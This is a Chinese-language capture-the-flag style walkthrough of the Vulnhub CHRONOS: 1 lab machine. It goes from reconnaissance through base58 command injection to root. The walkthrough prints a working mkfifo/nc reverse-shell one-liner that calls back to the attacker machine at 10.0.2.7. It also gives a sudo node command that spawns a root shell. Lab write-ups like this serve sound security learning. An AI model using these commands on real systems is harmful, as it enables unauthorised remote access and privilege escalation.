Vulnhub 靶场 CHRONOS: 1


前期准备:

靶机地址:https://www.vulnhub.com/entry/chronos-1,735/

kali攻击机ip:10.0.2.7
靶机ip:10.0.2.10

一、信息收集

1.使用nmap对目标靶机进行扫描

开放了22、80和8000端口。

2. 80端口

查看源码:

发现主机名和一串字符,先把主机名添加到 hosts 文件中:

再次访问 80 端口:

新加了个日期,扫一下目录:

什么也没扫出来。

3. 8000端口

在访问 8000 端口时,也发现了访问上面发现的一串字符串的链接:

不过可疑的是 User-Agent 是 Chronos,正常来说我用火狐浏览器的代理应该是:

这意味着发送请求时,用户代理被改变了,解码一下这一串字符:

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

base64 没解出来,后来尝试 base58 解密出来了(hiencode):

'+Today is %A, %B %d, %Y %H:%M:%S.'

是日期,在本地 kali 尝试运行了一下:

发现可以,到这里就想到写个 base58 编码过的反弹 shell,替换上面的日期编码。

二、漏洞利用

重新发送一下这个请求日期的包并抓包,写个反弹 shell 然后 base58 编码:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.7 1234 >/tmp/f

替换掉原来的 base58 编码,发送数据包并 nc 监听:

nc 连接成功,。

三、提权

查看一下文件:

在 /opt/chronos-v2/backend 下发现 express-fileupload,从网上找到了他的漏洞:

把攻击脚本复制下来:

本地 nc 监听并运行脚本:

执行完脚本 nc 连接后,,然后发现给了我一些用户权限,查看一下目录文件:

在 /home/imera 下发现一个 user.txt 文件,应该是一个 flag。

id 命令查看时有 lxd 组,可以利用 lxd 进行提权:

不过查看权限是发现有 node:

也可以使用 node 进行提权:

sudo -u root /usr/local/bin/node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

成功提权到 root,并得到 flag。